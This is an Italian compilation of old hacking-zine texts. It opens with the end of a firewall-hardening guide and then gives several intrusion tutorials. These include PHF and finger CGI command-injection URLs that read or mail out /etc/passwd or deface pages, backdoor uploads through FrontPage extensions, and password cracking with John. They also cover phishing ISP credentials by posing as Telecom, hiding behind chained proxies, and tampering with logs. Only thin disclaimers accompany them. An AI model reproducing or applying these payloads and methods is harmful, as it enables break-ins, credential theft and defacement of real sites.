Ovviamente tanto per dire un accesso illegale dall' esterno o comunque per esempio un tentativo errato di login tipo root o una lettura del passwd . Anche la locazione di questo file e' una fase critica del progetto in quanto deve risiedere in una macchina interna e ben protetta , invece di risiedere all' esterno e quindi di possibili modifiche da parte di incursori esterni brutti e cattivi .

6-2 Integrita' dei Files : Un buon backup dei propri dati e' un imperativo da
----------------------- rispettare sempre allo scopo di poter ripristinare il sistema. Un altro concetto sempre legato al backup e' quello di monitorare costantemente il nostro sistema . Possiamo vedere attraverso i files vecchi come il sistema e' cambiato dalle volte precedenti ....anche per cause non- naturali tipo accessi illegali ...vedasi RootKit Attacks e le varie directory tipo bin root e uucp (il vecchio giochetto del rhosts + + e' sempre valido) e anche i vari lavori di cron eseguiti di notte tipicamente .
Considerate di iniziare a usare pacchetti tipo il TRIPWIRE .

6-3 Altro : - Come fa' root a loggarsi sul gateway? A parte concedere l'accesso
--------- alla console solo a root si potrebbe consigliare telnetd protetti dal tcp wrapper.

- Attenzione ai trasferimenti di file binari via FTP .....anche dall' interno .

- Cambiare se possibile i nomi di file di log.

- Loggare se possibile i tentativi di intrusione.

6-5 Riassumendo :
- Ftp : protetto da chroot , nessun privilegio.
- SMTP : per la posta e il talk usare possibilmente SOLO l' UPAS ..un pacchetto piu' sicuro del sendmail ma meno noto .
- Telnet : connesso direttamente all' interno ma a un programma che effettua l'autenticazione .
- Printer : protetta dal tcp wrapper
- Proxynfs : protetto dal wrapper , eseguito dall' interno in una directory con il chroot
- Telnet verso esterno : protetto dal wrapper , accesso dall' interno , deve sfociare in un menu' del proxy .

NB ...uno dei pacchetti liberamente accessibili per l'applicazione di queste piccole regole esistenziali e' il TIS FIREWALL TOOLKIT che implementa benissimo un Application level ed e' studiato per l'uso su macchina singola . Abbiamo protezione estrema per Rlogin Telnet e Ftp . I nostri cari utenti potranno quindi uscire sulla Rete sulla porta corrispondente del nostro gateway .Possiamo inoltre permettere autenticazioni tipo utente@destinazione . Il traffico di sendmail e' controllato da un programma particolrare che impedisce l'accesso a demoni BAGgati .

Ftp anonimi sono in una bella directory chroot con un passwd differente da quello reale e solo per accessi ftpd .

7- SOFTWARE UTILI :

Dunque.... un hacker trova la maggior parte delle sue info su internet ....bene ...anche noi andremo a prendere le nostre proprio la' .

TCP WRAPPER
ftp.win.tue.nl /pub/security/tcp_wrapper

SECURELIB (addon per SunOs per eliminazione inetd)
eecs.nwu.edu /pub/securelib.tar

TIS FIREWALL TOOLKIT
ftp.tis.com /pub/firewalls/toolkit

PROXY X11
crl.dec.com /pub/DEC/xforward.tar.Z

IDENTD DAEMON
ftp.uu.net /networking/ident

SWATCH (associazione azioni con logfiles)
sierra.stanford.edu /pub/sources/swatch.tar.Z

SCREEND (converte il nostro sistema in un filtratore di pacchetti)
gatekeeper.dec.com /pub/DEC/screend/screend.tar.Z

TRIPWIRE (controllo pacchetti alterati)
ftp.cs.purdue.edu /pub/spaf/COAST/Tripwire

E ultimo ma non in ordine.........
FIREWALLS MAILING LIST!!!!!!!
una bella mail a majordomo@GREATCIRCLE.COM e messaggio.....

subscribe firewalls tuo_email

8- BIBLOGRAFIA :ù

Firewalls and the internet security

W.R. Cheswick
M.Bellovin , Addison Wesley

LINUX Network Administrator Guide
Olaf Kirch

Le informazioni contenute in questo testo si intendono a uso FORMATIVO e NON devono essere usate ne' a scopo di lucro (previa autorizzazione del creatore) ne' tantomeno a scopo distruttivo .
Non si intende assumere ALCUNA RESPONSABILITA' per quanto potrebbe derivare dall' applicazione di quanto scritto e riportato in questo testo .

Email per info : vrt__@iol.it
Ciao a Tutti .

COME BUCARE UN SITO

I Browser Attack sono quegli attacchi che vengono portati dal vostro browser,senza particolari software.Oltre ai vari attacchi PHF e Query,ci sono anche altri attacchi o varianti di PHF/Query
Cambiare una pagina web dal tuo browser
Questa corta sezione descrive la stinga da usare per modificare una pagina web da tuo browser. All'indirizzo http://www.sito.com aggiungiamo la seguente stringa cgi-bin/phf?Qalias=x%0a/bin/echo%20 "Crepa Lamer!!!"%20>>filename.html(questa è una variante del PHF). Questa stringati permette di scrivere su filename.html e aggiungere "Crepa Lamer!!!" devono essere in formato html. Puoi inserire del testo delle immagini o qualsiasi altra cosa tu voglia.
Finger box hacking:
Diciamo di voler "bucare" un sito tipo www.sito.com(ancora lui...).La prima cosa da fare sara' scivere l'URL Http://www.sito.com. Poi aggiungete all'url /cgi-bin/finger in modo da ottenere Http://www.aol.com/cgi-bin/finger. Se il finger e' attivo un box dovrebbe apparire per inserire il nome della persona su cui eseguire il comando. Se questo avviene tu hai la possibilita' di ricevere il file /etc/passwd. La prossima cosa da fare sara' di trovare un mailto sulla web page (faq@sito.com o webmaster@sito.com ad esempio). Ora ritorna al box e scrivi: faq@sito.com;/bin/mail tuo@indirizzo.org > /etc/passwd ...questa stringa manda a voi una mail da faq@sito.com contenente il file delle password(madonna che goduria!!!)

FrontPage

Il metodo che citerò adesso serve x inserire una backdoor in un sito che ha le estensioni di FrontPage. Per sapere se un sito ha le estensioni di FrontPage:
O c'è scritto direttamente sulla home page del sito. O guardate L'html della home page,e dovreste notare una cosa del genere:
meta name="GENERATOR" content="Microsoft FrontPage 3.0"
Apriamo il FrontPage98 o FrontPage Express e clicchiamo su File. Apriamo Front Page Box,poi scegliamo la voce Apri Web esistente,mettiamo il sito da hackerare e premiamo OK. Appena connessi, se ci chiederà la password dobbiamo lasciar stare,ma se non c'è la chiederà(cosa molto probabile),il 50%del lavoro è fatto. Entriamo nella cartella CGI-BIN e facciamo un Up-Load e ci mettiamo una backdoor.Andiamo al nostro amato browser,e digitiamo:htto://server_vittima/cgi-bin/nome_della_backdoor.exe così facciamo partire la nostra backdoor. Adesso il server non ci darà nessuna risposta,e andiamo a vedere subito se la backdoor è stata attivata. Se sì,siamo root. Se invece la backdoor non viene attivata,dovete dare il tempo al server di aggiornarsi e far eseguire il trojan.

-----------------------HACKERARE UN SERVER---------------------------
----
-Autore: Reset
-E-Mail: reset@meganmail.com
-Musica Ascoltata: Message in a Bottle - Machine head (cover by Police)
-Sito: http://www.res3t.cjb.net

Prima di tutto il

#______DISCLAIMER________#

L'autore ha scritto questo testo solo a scopo informativo e declina ogni responsabilità sull'uso che potrebbe esserne fatto. Se qualcuno lo usa a scopi distruttivi sono caxxi suoi...io non c'entro.

°°

Una specie di indice:

===000===000===000===000===000===
>

>
(=)(=)(=)(=)(=)(=)(=)(=)(=)(=)(=)

===()==Hacker? Magari!==()===

Ma cosa è un hacker? E cosa fa in quanto tale? Inutile andare in chat e vantarsi di essere hacker perchè sappiamo usare Bo o NetBus oppure arrivare la sera e chiedere aiuto per bucare server senza neppure sapere cosa e' un exploit. In questo testo cercherò, anche se l'argomento è molto ampio e difficile, di chiarire le idee.

La definizione più ampia che possiamo dare di hacker è un esperto di qualunque genere. Per esempio uno potrebbe essere un hacker della musica. Entrando più nel dettaglio, considerando il settore che ci interessa possiamo definirlo come un individuo che passa il suo tempo e si appassiona nell'esplorare da cima a fondo il mondo informatico al contrario della maggior parte degli utenti comuni, che preferiscono imparare solo il minimo necessario, che non si preoccupano di sapere il "perchè" delle cose, ma si limitano solo a usufruire della pappa pronta. Ma non è ancora abbastanza possiamo integrarla definendo l'hacker uno che prova piacere nella sfida intellettuale e cerca in tutti i modi di superare i suoi limiti.
E' una definizione senza dubbio vera, ma non è abbastanza. Bisogna dire che hacker si diventa solo dopo MOLTO TEMPO durante il quale ci siamo tuffati in uno studio immenso per imparare i linguaggi di programmazione e tutti i segreti della rete, se non cercando di scoprirne altri.

E cosa molto importante, gli hacker seguono un'ETICA ben precisa.
Gli hacker non hakkano server per distruggere tutto, penetrare un sistema non viene visto dall'hacker come un atto criminale, ma come una sfida. L'idea non e' di danneggiare la "vittima", ma cercare e scoprire il mezzo per penetrare le sue difese. Quando una persona danneggia a fondo un sito in cui è penetrato NON si tratta di un hacker, ma piuttosto di un cracker o di un lamer.
I cracker sono persone che hanno una certa conoscenza informatica ma la usano a scopi distruttivi, mentre i lamer sono persone che utilizzano le loro scarse conoscenze per danneggiare gli altri. I lamer sono dei perdenti.
Altro punto fondamentale dell'etica hacker è la convinzione che la condivisione delle informazioni sia una cosa buona e positiva, anzi essenziale per la progressiva maturazione del settore. Poi ci sono alcuni accorgimenti che devono essere seguiti se ci teniamo alla buccia, come il non parlare a

nessuno dei progetti futuri (solo a chi affideresti la tua vita), o non bucare siti come la nasa se non hai una tattica infallibile al 100% e un buon motivo.

Non credete a questo che ho detto? Pensate che non esista hacker capace di seguire questa etica? Pensate all'hacker più famoso del mondo, Kevin Mitnick! Nelle sue mani aveva migliaia di numeri di carte di credito validi...e lui non ha mai toccato un soldo SEBBENE AVESSE POTUTO BENISSIMO FARLO.

Io ho detto cosa penso e in cosa credo, poi fate voi. Per concludere incollo qui sotto la traduzione di uno dei più belli scritti sull'hacking che abbia mai letto, il mentor's manifesto. LEGGETELO ATTENTAMENTE!

Un altro e' stato preso oggi, e' su tutti i quotidiani: "teenager Arrestato per Scandaloso Crimine Informatico", "Hacker arrestato dopo essersi infiltrato in una banca"...

Dannati ragazzi. Sono tutti uguali.
Ma avete voi, nella vostra psicologia da 4 soldi e la mentalità anni '50, avete voi mai guardato oltre gli occhi di un hacker? Avete mai pensato a cosa sia scattato in lui, quali forze l'abbiano modellato, cosa potrebbe averlo plasmato?

Sono un hacker...entrate nel mio mondo
Il mio e' un mondo che inizia con la scuola...Sono più brillante della maggior parte degli altri ragazzi, questa schifezza che ci insegnano mi annoia

Dannato sottosviluppato. Sono tutti uguali.
Sono alle superiori. Ho ascoltato i professori spiegare per la cinquantesima volta come ridurre una frazione. L'ho capita. "No, Sig.ra Smith, Non ho scritto il mio compito. Ce l'ho tutto nella mente..."

Dannato ragazzo. Probabilmente l'ha copiato. Sono tutti Uguali.
Ho fatto una scoperta oggi. Ho trovato un computer. Aspetta un secondo. Fa quello che gli dico io. Se fa errori, è perché l'ho impallato io. Non perché io non gli piaccio...O perché si sente minacciato da me...O perché pensa che io sia uno stupido sciocco...O perché non gli piace insegnare e pensa che non dovrebbe essere qui...

Dannato ragazzo. Tutto ciò che fa e' giocare coi videogames. Sono tutti uguali
E poi e' successo...una porta si e' aperta sul mondo...scorrendo attraverso le linee telefoniche come l'eroina attraverso le vene di un tossico, un impulso elettronico e' spedito, ho trovato un rifugio dalle incompetenze di tutti i giorni...ho trovato un mio nascondiglio.

"E' questo...Questo e' il posto a cui appartengo..."
Conosco tutti qui...anche se non li ho mai conosciuti, non ci ho mai parlato di persona, anche se potrei non sentirli più un giorno...vi conosco tutti...

Dannato ragazzo. Collegato ancora alla linea telefonica. Sono tutti uguali..
Potete scommetterci il culo che siamo tutti uguali... A scuola siamo stati imboccati con cibo da bambini quando eravamo affamati di bistecca...i morsi di carne che ci avete fatto ingoiare erano premasticati e senza gusto. Siamo stati comandati da sadici, o ignorati dagli apatici. I pochi che hanno avuto qualcosa da insegnarci ci hanno trovato ragazzi pieni di volontà, svegli, ma quei pochi sono come gocce d'acqua nel deserto.

Questo e' il nostro mondo ora...il mondo dell'elettrone e dello switch, della bellezza del baud. Facciamo uso di un servizio preesistente senza pagare per quello che potrebbe essere a prezzo bassissimo se non fosse controllato da ingordi approfittatori, e VOI ci chiamate criminali. Noi esploriamo...e ci chiamate criminali. Noi esistiamo senza un colore di pelle, senza nazionalità, senza pregiudizi religiosi...e ci chiamate criminali. Voi costruite bombe atomiche, intraprendete guerre, uccidete, truffate, e ci mentite e cercate di farci credere che e' solo per il nostro bene,
e i criminali siamo ancora noi.
Si sono un criminale. Il mio crimine e' la curiosità. Il mio crimine e' giudicare la gente da come parla e pensa, non da come si presenta. Il mio crimine e' di mettervi nel sacco...una cosa per cui voi non mi perdonerete mai.

Sono un hacker, e questo e' il mio manifesto. Potete fermarne uno, ma non potete fermarci tutti...
Dopotutto, siamo tutti uguali.

ADESSO RILEGGETELO ANCORA! POI, SE AVETE INTENZIONE DI DIVENTARE HACKER, STAMPATELO E ATTACCATELO IN CAMERA!

Adesso passiamo alla seconda questione. Inutile decidere in 10 minuti di bucare un sito. Hakkare un sever è una cosa difficile e lunga, oltre che illegale. Senza dubbio prima di volere hackerare bisogna conoscere alcuni concetti base, che tenterò di spiegare, e avere una strategia precisa.
Molto importante, anche se viene spesso sottovalutato, e la ricerca di informazioni sul sito che vogliamo bucare. Questa dunque è la prima cosa che dobbiamo fare:

==()==RECUPERO DI INFORMAZIONI==()===
Le informazioni fondamentali che dobbiamo avere per forza riguardano il sistema operativo usato, le porte aperte, l'indirizzo IP.
I sistemi operativi per eccellenza sono Unix e Windows NT. Entrambi hanno errori (i bug) che gli hacker sanno sfruttare per impadronirsi del sito. L'obbiettivo di un hacker quando hakka un server è ottenere i privilegi "root", il root può fare qualunque cosa. Dunque root=dio su quel sistema. Dopo che è riuscito ad ottenere i privilegi root deve seguire una serie di operazioni che vedremo più avanti. Ritorniamo ai sistemi operativi! Come facciamo a sapere quale usa il sito? Senza dubbio il metodo più semplice è il "social engineering". Semplicemente questo metodo consiste nello spacciarsi per un'altra persona. In questo caso faremo finta di essere un utente di livello medio-basso e gli manderemo una e-mail con scritto qualcosa del tipo:
"sono rimasto molto ben impressionato dal tuo sito, mi piacerebbe crearne uno anche a me e vorrei sapere con che programma è stato creato, se ha usato effetti particolari e QUALE SISTEMA OPERATIVO USA!"
Naturalmente questo metodo non funziona sempre. Se l'amministratore del sito ha un minimo di cervello vi risponderebbe che sono informazioni riservate per la sicurezza del sito. A quel punto passiamo al secondo metodo, cioè facciamo un bello scanning. Uno scanning consiste nell'usare un programma che verifica le porte di un dato indirizzo dicendo quali sono aperte e che servizi svolgono le varie porte. Programmi adatti allo scopo sono: NMAP per linux e Security Shadow Scanner per windows, entrambi reperibili all'indirizzo http:\\www.res3t.cjb.net.
Dopo avere avviato lo scanning vi appariranno molte righe fra le quali:

Port 21 found. Desc='ftp'
Port 23 found. Desc='telnet'
Port 25 found. Desc='smtp'
Port 111 found. Desc='portmap/sunrpc

Port 79 found. Desc='finger'
Port 513 found. Desc='login/who'
Port 514 found. Desc='shell/syslog'
Port 474 found.
Port 1225 found.
Port 2049 found. Desc='nfs'

Da queste poche righe è possibile capire quale sistema operativo sfrutta quel sito. Infatti i servizi offerti da Unix e Windows NT sono diversi. Per esempio sulla porta 23 risulta attivo Telnet (Port 23 found. Desc='telnet') e noi sappiamo che in generale windows NT non iclude telnet, quindi dovrebbe essere un sistema Unix. Questa ipotesi è avvalorata anxhe dalla presenza sulla porta 79 di finger. Di solito i server windows NT hanno la porta 139 aperta.

Per trovare l'IP basta usare un programma che trovate incluso nel vostro windows. Andate in prompt di MS Dos e scrivete:
C:\windows> ping sito.com
e dovrebbe venire scritto l'Ip. Se poi provate con telnet (altro programma di windows, se non sai cosa è scarica il testo su telnet su www.res3t.cjb.net) a collegarvi all'Ip dovrebbe dirvi il sistema operativo con relativa versione!

Adesso che sapete quasi tutto quello che serve sul sito passiamo alla ricerca di informazioni sul proprietario! Infatti se siamo fortunati troviamo la password per accedere al sito senza tanti problemi! Cercate di informarvi, tramite il social engineering o quello che volete, del nome e cognome suo, della donna e dei figli, la squadra del cuore, il giocatore preferito, cantante preferito, ecc.. Infatti in molti casi le persono usano password in relazione alla lora vita normali. Se proprio si tratta di un amministratore stupido l'username coincide con la password! Per esempio l'username può essere pippo e la pass pippo1.
Fatto anche questo possiamo smettere di prender informazioni.

===()==Anonimità==()===
Dopo aver scoperto il sistema operativo e le varie porte del sito dovrete dedicarvi alla ricerca di un exploit apposito. Ma prima di parlare di questo devo accennare ad un problema molto importante. Infatti da qui in poi devi OBBLIGATORIAMENTE renderti anonimo. Hakkare siti è un reato penale e non devi in nessun modo lasciare tracce che conducano a te.
Come saprai ogni volta che ti colleghi ad internet ti viene assegnato un numero chiamato IP (Iternet Protocol) del tipo 112.43.189.231 che ti rende rintracciabile molto facilmente. Per avere un tasso di anonimità abbastanza elevato bisogna in qualche modo camuffare questo numero in modo da essere introvabili. Esistono varie tecniche più o meno raffinate per farlo. A livello base possiamo usare proxy o wingate. Se non sapete cosa sono vi consiglio vivamente di studiarlo (potete trovare testi adatti su http://www.res3t.cjb.net) se non volete finire col culo al fresco. Comunque il funzionamento base di proxy e wingate è molto simile, prima di connetterti al sito da bucare devi collegarti al proxy o allo wingate in modo da usare il loro IP invece che il tuo. Schemino per chiarire le idee:

NOI --------> Sito (il sito ha il nostro IP)

Questo schemino rappresenta ciò che avviene a cose normali. Noi ci connettiamo ad un sito e questo logga (registra) il nostro IP e se noi facciamo dei danni siamo facilmente rintracciabili. Se invece usiamo uno wingate o un proxy:

NOI --------> Wingate/proxy ---------> Sito (il sito ha l'Ip del wingate o del proxy)

Praticamente noi ci connettiamo allo wingate o al proxy e poi al sito utilizzando l'Ip di questi. Naturalmente se ne usate uno solo la vostra anonimità non è molto elevata. Per hakkare un server dovete quantomeno usarne 4 o 5, ma ricordatevi che non sarete mai al sicuro. Per sapere come usare proxy e wingate vi ripeto di leggere altri testi, è molto importante.

Un altra cosuccia da fare che ci garantirà un altra goccia di anonimità e connettersi ad internet usando l'account di qualcun altro. Praticamente dovete riuscire a scovare l'username e la password di connessione ad internet di un altro utente e di usare questo al momento dell'hakkaggio. Il come fare non è compito specifico di questo testo ma vi darò delle dritte. La cosa più semplice è ricorrere ancora una volta al caro "social engineering" cioè lo spacciarsi per un altra persona. Per esempio potete farvi una casella e-mail del tipo clubnet@usa.net e mandare una e-mail alla vittima dicendo di essere della mamma telecom e richiedete nella stessa e-mail l'username e la password. Come motivo potete mettere perchè la tim sta cambiando registro informatico e serve l'autorizzazione per effettuare il trasferimento...poi mettete che se i dati non verranno inviati la connessione non riusulterà più valida e così via. In questa tecnica bisogna dare sfoggio alla nostra fantasia. Altri metodi sono più complicati e dovete ricorrere all'uso di un trojan (di solito i trojan sono usati dai lamer...) o roba del genere. Se avete il contatto fisico con il PC della vittima (cioè potete mettere le mani sul suo piccì) è tutto più semplice, basta che andate su http://www.res3t.cjb.net e vi scaricate nella sezione programmi il programma semplice semplice fatto da me: PCcheck. Le istruzioni sono all'interno del file.

Adesso per questo testo ho chiuso con l'anonimità, io ho citato solo alcuni metodi più importanti, ma spero di avervi fatto capire che essere anonimi è una cosa FONDAMENTALE. Quindi non mi stancherò mai di dirvi di approfondire questo argomento con altri testi.

===()==Exploit & Log==()===

Come ho accennato prima, dopo avere carpito informazioni al sito-vittima bisogna trovare l'exploit adatto. L'exploit non è l'unico metodo per penetrare un sistema ma a mio avviso è il più semplice e sicuro. Cosa è un exploit? Un exploit è un'applicazione che ci permette di ottenere i privilegi root (di cui ho già parlato).
Per usarli dobbiamo lanciarli dal sito dove si sta hakkando. Ci sono molti tipi di exploit. Ognuno sfrutta un bug diverso del sistema usato dal sito. Ogni versione del sistema operativo ha i suoi bug e quindi noi dobbiamo cercare l'expolit adatto...con un pò di pazienza e preparazione ci dovremmo riuscire. Alcuni scanner danno dopo la scannerizzazione anche l'exploit da sfruttare. E se cercate bene credo che esistano programmi appositi, ma la migliore cosa da fare è cercare manualmente. Quando siete dentro? Fate quello che volete, ma la cosa più grande è la soddisfazione immensa che ti scorre nelle vene. Naturalmente è inutile bucare server Unix se non sapete neppure cosa è e non conoscete i comandi. Andate sul mio sito sezione linux (non è proprio la stessa cosa...)!

Adesso passiamo ai log, che sono tutta un'altra cosa. I log sono dei file che registrano il passaggio degli utenti naturalmente con il relativo IP. Questi sono uno dei motivi per cui è fondamentale camuffare l'Ip. Con un pò di esperienza è possibile trovare i log e modificare il contenuto in modo da non farci trovare. Ma possono esserci log nascosti o che non è possibile raggiungere...ragazzi, nascondetevi l'IP! E poi se per caso non riusciste ad ottenere l'accesso root vi è impossibile cancellare i log e il padrone del sito potrebbe risalire a chi ha tentato di hackerarlo. Adesso scordatevi che io mi metta qui ad elencare i più usati tipi di log e come modificarli...magari in un altro testo.

===()==Dopo l'hakkaggio==()===
Dopo aver bucato con successo un server NON dovete assolutamente cancellare tutto o casini di questo genere. Se lo fate sarete etichettati come lamer. Se proprio non resistete a non fare niente potete cambiare la pagina iniziale con una senza link con scritto "Hacked by Reset" o come è il tuo nick. Inoltre la cosa migliore da fare, da vero hacker, è creare un file di testo, oppure mandare un e-mail, al creatore del sito, dove spieghi come hai fatto ad entrare ed eventualmente dirgli come corregere l'errore. Potete fare anche entrambe le cose. Se hakkate un sito importante (cosa sconsigliata) e volete mantenere l'accesso potete piantarci una shell, una backdoor ecc. Per sapere come si fa vi consiglio di leggere altri testi. L'hacking è soprattutto STUDIO.

Adesso ho finito. Spero di avere chiarito qualche idea. Mi raccomando di non mettere subito in pratica. Prima dovete approfondire al massimo!
Cercate altri testi riguardanti gli argomenti che ho accennato. Questo testo non vuole essere una guida all'hacking di server, ma una specie di filo logico della teoria da seguire. Un grazie ad "Elf Qrin" per alcuni spunti presi dal suo testo per quanto riguarda la prima parte.

PER QUALSIASI BISCHERATA, CHIARIMENTI, INSULTI, COMPLIMENTI, FOTO PORNO, MANDATE UNA E-MAIL A: reset@meganmail.com

INUTILE DIRE CHE FAVORISCO LA DIFFUSIONE DEL TESTO...BASTA CHE NON CAMBIATE IL NOME DELL'AUTORE...

PER I LAMER

Salve, questa sezione di Systemdown sara' (forse) snobbata da molti. Non mi riterro' offeso da un tale atteggiamento solo perche' so che verra' comunque letta, magari di nascosto... :)

Perche' un articolo di cosi' basso livello? In una cosi' bella rivista???
Le risposte possono essere diverse: la prima e' che sono un gran lamer e, per scimmiottare i pirati veri, mi occorreva una pubblicazione :)
un altra e' che frequento hackers.it su IRCnet e su quel canale si accumulano tante di quelle esperienze sul laming da fare schifo...
o ancora: molti di noi (noi lamers) vorrebbero iniziare a molestare i sistemi remoti partendo da conoscenze pressocche' nulle, e da quella merda di w1N95 (a proposito un buon lamer parla male di win95 anche se conosce solo quel S.O. anzi la cosa migliore e' usarlo con lo sfondo pieno di scritte tipo: "mIcR0z0fT SuX" ecc., sono fondamentali anche i caratteri cosi',in particolare il 3 al posto della E e lo 0 al posto della O) ma spesso ci viene negata
anke (la K al posto del ch) questa soddisfazione.
La domanda piu' frequente che pone un lamer e': "come si diventa hackers?"
La risposta piu' frequente che riceve: "installati linux... e quando impari ne riparliamo...", in genere chi risponde cosi' e' uno molto piu' lamer dell'interlocutore, ha una slack v.1.2.xx installata malissimo e non riesce neanche ad avviarla... la risposta corretta e': "inizia a truccarti il motorino: e' fare hacking anche quello..."

Comunque... veniamo al dunque...
Per la serie "ce volemo diverti' ppure noi" vediamo cosa si puo' combinare con un wINd0z3 e un pentium (o anche meno) ed una semplicissima connessione a 33.6 con tin o iol (o anche meno II).
Per prima cosa vi occorre qualche programma (non rompete col reperimento, usate qualche motore di ricerca!!!):

-Un browser (Netscape va benissimo, i.expl. un po' meno: mIcR0ZofT sUX:)))
-John (o jackpot o starcrack o altri ancora per decriptare le pwd)
-un Port Scanner (Netcop o similare per analizzare le porte)
-un client telnet (CRT e' uno dei migliori ed e' freeware(?) ciao xOANON:))

Passiamo all' azione...
Esiste un vecchio bug nella sicurezza delle macchine collegate in rete, molto conosciuto, ma che, essendo i sysop anch'essi dei lameroni, in qualche sito funziona ancora egregiamente, in particolare quelli con dominio .it :).
Aprite il vostro browser, col mouse selezionate l'area dove compare l'url (eheh sembro un manuale PCfacile:) e digitate, senza pensare cosa possa voler dire, anzi non digitate neanche...fate un copia e incolla che e' piu'semplice, con questa FORMULA MAGICA:

http://www.domainchevogliohackerare.com/cgi-bin/phf?Qalias=x%0a/bin/cat

%20/etc/passwd

Naturalmente sostituite il www.ecc.. (siamo lamerZ ma non aprofittiamone...),
se il sito e' un po' curato, e il sysop legge phrack, vi dovrebbe
apparire uno squallido FILE NOT FOUND o una bellissima scritta ACCESS DENIED,
che
vuol dire piu'o meno lo stesso ma e' molto piu' c00l (o keWl) da raccontare
agli amici.
Se chi gestisce il sito e' lamerazzo peggio di voi, e legge Il Tromba,
dovrebbe apparirvi una pagina di testo con delle scritte strane...
Okkio!!!
quello e' il file delle passwords: salvatelo!!!
Poi datelo da mangiare al vostro cracker preferito (john p.e., per l'uso
vi rimando a numeri precedenti di systemdown...)
Quando avete ottenuto la pass di un superuser, avviate il vostro port
scanner preferito, puntato sull'url akkato in precedenza, dovrebbe darvi una
lista con circa una quindicina di numeri (le porte:)), segnateli in un
post-it!!!
Poi avviate il client telnet inserite il dns, indirizzatelo su ognuno di
quei numeretti del post-it e iniziate a premere invii, punti di domanda,
ctrlA-Z, ctrl0-9 e tutto quant'altro vi viene in mente, finche' non vi appare
una
bella maschera con scritto USER: o LOGIN:...Qui inserite il login e la pass
ottenuti in precedenza e... BINGO!
Siete dentro! ovvero siete dei VERI HACKERS!!!!
(imparare cosa sia una shell o un daemon e come funzionano e' un altro
discorso, ma voi fregatevene... ormai siete r00t in un altro sistema!
Potete dirlo in IRC, dedicargli una home page, spararlo nelle news,
raccontarlo sul vostro BBS, scriverlo sui muri, ecc...)

Ora... se avete resistito sino a questo punto (della lettura intendo)
dubito che riusciate ad andare oltre (nel sistema remoto intendo).
Pero' se, sempre come prevedo, riuscirete a fare qualche inutile danno,
o perlomeno a farvi tracciare, c'e' la speranza che vi arrestino cosi' per
un po' state lontani da internet e dal modem, il che' non puo' farvi (e
farci) che bene, senza contare che poi, con un po' di fortuna, quando uscite
da galera, vi chiama Maurizio Costanzo o Format e vi fanno vedere in TV, in
una puntata dedicata alla pedofilia in rete.
Forse e' meglio continuare a fare i lamerZ...
...meditate.

Ciao a tutti e... happy hacking!
anzi ...bYeZ e happy laming!!!! :)))

Titolo: Cosa fare prima di hackerare un server

Autore: Screener_it
email: screener_it@freemail.it
web site: http://go.to/tankcommandos
colonna sonora: Infinito - Litfiba (quando c'era ancora Pelù !!)

/\
+++
\/

****
QUESTO TESTO DEVE INTENDERSI COME PURAMENTE INFORMATIVO, PERCIO' SCREENER_it, DECLINA OGNI RESPONSABILITA' DALL'USO CHE POTREBBE ESSERNE FATTO. L'AUTORE, DUNQUE, NON INCORAGGIA CHI VOLESSE SERVIRSENE PER SCOPI ILLEGALI.
****

Ciao a tutti.
Eccovi un altro testo uscito dalla mia mente sempre (?) in fermento !!!
Oggi parleremo di quello che si dovrebbe fare prima di hackerare un server.
Infatti molti credono che si possa hackerare un server in 5 minuti, usando un paio di bug.
Se per un paio di server questo può essere vero, non lo è per tutti.
Al massimo potete farlo con qualche server sudcoreano o giù di lì. In Europa (men che meno in America) non potete. Per hackerare serve un paio, una strategia ben pianificata e una coscienza chiara di quello che volete fare.
Ad esempio, se riusciste ad entrare in qualche bel computer Un*x e riusciste ad aprirvi una backdoor, ma al momento di uscire non sapeste come cancellare i file log perchè non conoscete bene il sistema restereste fregati. Quindi un'azione prima di tutto va studiata e pianificata.

Questa non vuole assolutamente essere una guida, ma piuttosto un testo di base, per capire cosa dovete fare prima di hackerare.

La cosa più fondamentale è STUDIARE (quante volte ve l'hanno detto ?).
E' inutile sapere che il server che volete hackerare usa un sistema Un*x, se poi non sapete neppure un comando di Un*x.
La seconda cosa è avere un obiettivo che sia alla portata delle vostre conoscenze.
La più grande cazzata che possiate fare è credere che dopo aver aver studiato un paio di comandi di Un*x e di Win NT e dopo che avete trovato un po' a possiate hackerare la Nasa (www.nasa.gov).
Per due motivi:
1.- Di sicuro la Nasa non si fa fregare da novellini come voi (e come me ;-)
2.- In TUTTE le guide che troverete leggerete che è meglio evitare di hackerare siti che finiscono in *.gov (governativi americani) e *.mil (militari, sempre americani).
Se solo fate uno scanning delle porte di questi siti vi trovate con l'FBI a casa (esagero, però si corrono rischi ENORMI !!!).
La terza cosa è pianificare. Quando riuscite a entrare in un server dovete già sapere cosa volete fare. Non potete trovarvi lì senza un idea precisa.
La quarta (e più importante) cosa è prendere informazioni del server che volete hackerare.
La quinta (non meno importante) è recuperare più informazioni possibili sul webmaster del sito e sugli utenti.

Potete infatti sperare di hackerare un server quando non sapete niente su di lui ?
Bene, vediamo le informazioni che dobbiamo riuscire a prendere:

-tipo di sistema operativo (Un*x, Win NT)
-eventuali porte aperte
-eventuali demoni attivi sulle porte
-eventuale server FTP
-ecc...

Dato che il 99,9 % di voi che state leggendo questo file usate Win (lo so dovrei dirvi che dovreste passare a Linux.. Promettetemi di farlo !!) vi spiegherò come fare hacking tramite Win... Anche se non dovrei..
****
piccola considerazione personale: molti vi consiglieranno di passare a Linux, centinaia di siti parlano di Win come fosse una merda.. Bhè, provate a guardare i file sorgenti delle pagine HTML di numerosi di hacking (italiani e non). Noterete una bella scritta in cima tipo:

<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<meta name="GENERATOR" content="Microsoft FrontPage 3.0">

Mh.. Direi che è una pagina scritta con FrontPage, prodotto della Microsoft.. Il sito da cui ho recuperato questa pagina definisce Windows come la più grande merda del pianeta e dice che chi usa Win è un lamer di merda.. A voi le conclusioni.
****

Prima di tutto dobbiamo ottenere l'indirizzo IP del server che intendiamo hackerare..
Ok, apriamo il Prompt del Dos e digitiamo
ping server.it
(al posto di server.it ci va l'URL [senza www] del vostro obiettivo.)
Adesso ci troviamo con una videata di informazioni.
Cosa abbiamo fatto con questo comando ? Nulla di illegale, abbiamo solo mandato un paio di pacchetti alla macchina server.it e lei ce li ha rispediti. In questo modo abbiamo ottenuto l'Ip e sappiamo anche se il server è lento è veloce. (vedi Network Utilities for Dummies nella sezione Guide del Tank Commandos).
Annotiamoci l'Ip. (è importante avere un foglio vicino per segnarsi ip, porte, ecc..) e andiamo avanti.

Abbiamo l'Ip.. Che ce ne facciamo ? Devo spiegarvi proprio tutto. Allora, tutti i programmi (o buona parte comunque) che userete per fare hacking non riconoscono gli indirizzi tipo litfiba.it, offspring.com, ecc..
